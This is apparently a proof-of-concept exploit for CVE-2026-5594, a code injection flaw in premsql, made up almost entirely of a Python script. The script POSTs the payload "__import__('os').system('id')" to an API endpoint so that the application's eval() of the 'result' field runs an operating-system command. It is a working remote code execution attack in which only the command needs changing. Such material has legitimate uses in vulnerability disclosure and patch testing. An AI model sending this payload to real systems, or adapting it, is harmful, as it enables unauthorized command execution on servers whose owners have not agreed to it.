CVE-2026-5594 premsql代码注入漏洞

import requests # Target URL (Example, needs to be adjusted based on actual deployment) target_url = "http://127.0.0.1:8000/api/endpoint" # The vulnerability lies in the 'result' argument being passed to eval() # PoC payload to execute a system command (e.g., 'id') malicious_payload = "__import__('os').system('id')" # Construct the data payload expected by the vulnerable application data = { "result": malicious_payload } try: print("[+] Sending PoC payload to target...") response = requests.post(target_url, json=data) # Check if the request was processed if response.status_code == 200: print("[+] Request sent successfully. Check for command execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")